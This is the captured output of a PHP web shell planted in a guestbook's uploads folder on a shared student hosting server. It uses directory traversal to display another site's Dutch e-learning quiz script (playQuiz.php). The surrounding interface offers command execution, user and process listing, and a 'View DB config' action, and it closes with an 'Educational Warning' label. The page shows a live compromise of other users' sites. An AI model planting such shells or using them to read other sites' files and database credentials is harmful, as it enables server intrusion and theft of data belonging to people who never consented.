🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

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📄 Viewing: ../../../../588742.klas4s23.mid-ica.nl/public_html/E-Learning/playQuiz.php

<?php

include_once "class/class.php";
session_start();

$quiz_id = $_GET['id'] ?? null;

if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['id'], $_GET['next'])) {
    $quiz_id = (int)$_GET['id'];
    $nextQuestionIndex = (int)$_GET['next'];

    try {
        // Gebruik dezelfde query-structuur als in showQuiz
        $sqlQuestions = "SELECT question_id, question FROM questions WHERE quiz_id = :quiz_id";
        $stmtQuestions = Database::conn()->prepare($sqlQuestions);
        $stmtQuestions->bindParam(':quiz_id', $quiz_id, PDO::PARAM_INT);
        $stmtQuestions->execute();
        $questions = $stmtQuestions->fetchAll(PDO::FETCH_ASSOC);

        // Check of er nog vragen zijn
        if ($nextQuestionIndex < count($questions)) {
            $currentQuestion = $questions[$nextQuestionIndex];

            // Stuur de volgende vraag als JSON-response
            echo json_encode([
                'status' => 'success',
                'questionHtml' => "<div class='vraag'>
                    <label>" . htmlspecialchars($currentQuestion['question']) . "</label>
                    <form method='post' class='quiz-form'>
                        <input type='text' class='answer-input' data-question-id='" . $currentQuestion['question_id'] . "' placeholder='Uw antwoord' required>
                        <span id='result-" . $currentQuestion['question_id'] . "' class='feedback'></span>
                    </form>
                </div>"
            ]);
        } else {
            // Geen vragen meer: einde quiz
            session_start();
            echo json_encode([
                'status' => 'finished',
                'correctAnswers' => $_SESSION['score'] ?? 0,
                'totalQuestions' => count($questions)
            ]);

            // Reset sessie
            unset($_SESSION['current_question']);
            unset($_SESSION['score']);
        }
    } catch (PDOException $e) {
        echo json_encode(['status' => 'error', 'message' => 'Er ging iets mis: ' . $e->getMessage()]);
    }
    exit;
}
?>

<!DOCTYPE html>
<html lang="nl">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="script.js" defer></script>
    <link rel="stylesheet" href="css/style.css">
    <title>Play Quiz</title>
</head>

<body>
    <nav class="navbar">
        <ul>
            <li><a href="index.php">Home</a></li>
            <li><a href="startQuiz.php">Start Quiz</a></li>
            <li><a href="createQuiz.php">Maak Quiz</a></li>
            <li><a href="dashboard.php">Verander Quiz</a></li>
            <li><a href="account.php">Account</a></li>
            <li><a href="login.php">Inloggen</a></li>
            <li><a href="register.php">Registreren</a></li>
            <li><a href="logout.php">Uitloggen</a></li>
        </ul>
    </nav>

    <main class="QuizModal">
        <div id="quiz-container">
            <?php
            if (isset($_SESSION['ENToNL'])) {
                // Haal de quizgegevens op
                $data = Quiz::getQuizById($quiz_id);

                // Controleer de waarde van ENToNL
                if ($_SESSION['ENToNL'] == 1) {
                    // Verwissel vragen en antwoorden
                    $data = Quiz::switchQuestionsAndAnswers($quiz_id);
                }

                // Toon de quiz
                Quiz::showQuiz($data['quiz'], $data['questions']);
            } else {
                echo "<p>Selecteer eerst een quiz-modus via de toggle bovenaan.</p>";
            }
            ?>
        </div>


    </main>
</body>

</html>

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!